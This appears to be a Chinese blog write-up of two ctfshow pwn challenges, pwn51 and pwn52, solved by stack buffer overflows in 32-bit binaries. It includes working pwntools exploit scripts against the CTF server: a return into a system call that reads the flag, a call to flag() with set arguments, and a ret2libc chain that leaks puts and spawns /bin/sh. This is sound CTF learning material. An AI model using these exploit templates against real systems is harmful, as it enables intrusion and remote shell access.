青春猪头少年不会pwn掉兔女郎

pwn51

32位

反编译后傻眼了

是C++

看不太懂,靠着string界面找到了主要函数sub_8049059

int sub_8049059()
{
 int v0; // eax
 int v1; // eax
 unsigned int v2; // eax
 int v3; // eax
 const char *v4; // eax
 int v6; // [esp-Ch] [ebp-84h]
 int v7; // [esp-8h] [ebp-80h]
 _BYTE v8[12]; // [esp+0h] [ebp-78h] BYREF
 char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
 _BYTE v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
 _BYTE v11[24]; // [esp+44h] [ebp-34h] BYREF
 unsigned int i; // [esp+5Ch] [ebp-1Ch]

 memset(s, 0, sizeof(s));
 puts("Who are you?");
 read(0, s, 0x20u);
 std::string::operator=(&unk_804D0A0, &unk_804A350);
 std::string::operator+=(&unk_804D0A0, s);
 std::string::basic_string(v10, &unk_804D0B8);
 std::string::basic_string(v11, &unk_804D0A0);
 sub_8048F06(v8);
 std::string::~string(v11, v11, v10);
 std::string::~string(v10, v6, v7);
 if ( sub_80496D6(v8) > 1u )
{
   std::string::operator=(&unk_804D0A0, &unk_804A350);
   v0 = sub_8049700(v8, 0);
   if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )
  {
     v1 = sub_8049700(v8, 0);
     std::string::operator+=(&unk_804D0A0, v1);
  }
   for ( i = 1; ; ++i )
  {
     v2 = sub_80496D6(v8);
     if ( v2 <= i )
       break;
     std::string::operator+=(&unk_804D0A0, "IronMan");
     v3 = sub_8049700(v8, i);
     std::string::operator+=(&unk_804D0A0, v3);
  }
}
 v4 = (const char *)std::string::c_str(&unk_804D0A0);
 strcpy(s, v4);
 printf("Wow!you are:%s", s);
 return sub_8049616(v8);
}

初略理解之下,知道s就是要溢出的对象,认为偏移值就是char s[32]; // [esp+Ch] [ebp-6Ch] BYREF,也就是0x6C+4

string界面还能找到一条system指令

int sub_804902E()
{
 return system("cat /ctfshow_flag");
}

初步尝试失败,虽然看着应该没什么问题

但是貌似有限制输入

所以尝试输入0x6C+4的‘a’就没办法输出够

看WP才知道主函数里面会把I换成IronMan

16个I的输入就能刚刚好变成112字节IronMan,完成溢出效果

然后后续跟一个system函数位置就好了

exp:

from pwn import *
u=remote("pwn.challenge.ctf.show",28223)
payload=b'I'*16+p32(0x0804902E)
#payload=b'I'*16+p32(0x08049042)
u.sendline(payload)
u.interactive()

此事在直接本地运行亦有记载(

ctfshow@ubuntu:~/Desktop/xd/LibcSearcher$ ./pwn51
   ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                          
 ██▀▀▀▀█  ▀▀▀██▀▀▀  ██▀▀▀▀▀▀            ██                          
██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██
██           ██     ███████   ██▄▄▄▄ ▀  ██▀   ██  ██▀  ▀██ ▀█  ██  █▀
██▄          ██     ██         ▀▀▀▀██▄  ██    ██  ██    ██  ██▄██▄██
 ██▄▄▄▄█     ██     ██        █▄▄▄▄▄██  ██    ██  ▀██▄▄██▀  ▀██  ██▀
   ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀  
   * *************************************                          
   * Classify: CTFshow --- PWN --- 入门                              
   * Type : Stack_Overflow                                          
   * Site : https://ctf.show/                                      
   * Hint : Who are you?                                            
   * *************************************                          
Who are you?
I
Wow!you are:IronMan

pwn52

flag函数

char *__cdecl flag(int a1, int a2)
{
 char *result; // eax
 char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
 FILE *stream; // [esp+4Ch] [ebp-Ch]

 stream = fopen("/ctfshow_flag", "r");
 if ( !stream )
{
   puts("/ctfshow_flag: No such file or directory.");
   exit(0);
}
 result = fgets(s, 64, stream);
 if ( a1 == 876 && a2 == 877 )
   return (char *)printf(s);
 return result;
}

初略理解后,大意为传入参数a1,a2为对应值

就可以输出数组s的内容

而数组s读取了stream的前64字节的内容

stream又是依靠只读打开的ctfshow_flag的内容

所以拿到数组S就是拿到目标flag

找flag函数地址

再找到偏移量

exp:

from pwn import *
u=remote("pwn.challenge.ctf.show",28231)
offset = 0x6C
flag = 0x08048586
payload=b'a'*(offset+4)+p32(flag)+p32(0)+p32(876)+p32(877)
u.sendline(payload)
u.interactive()

还可以用ret2libc做,存在puts函数,套板子就能出

exp:

from pwn import *
from LibcSearcher import *

io = remote('pwn.challenge.ctf.show', 28188)
# io = process("")
elf = ELF('./pwn52')
# libc= ELF('libc.so.6')

main_add =0x0804874E
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ", hex(puts_got))
print("Puts_plt: ", hex(puts_plt))

offset =0x6C

payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'What do you want?', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print("Puts_addr: ", hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendlineafter(b'What do you want?', payload2)

io.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇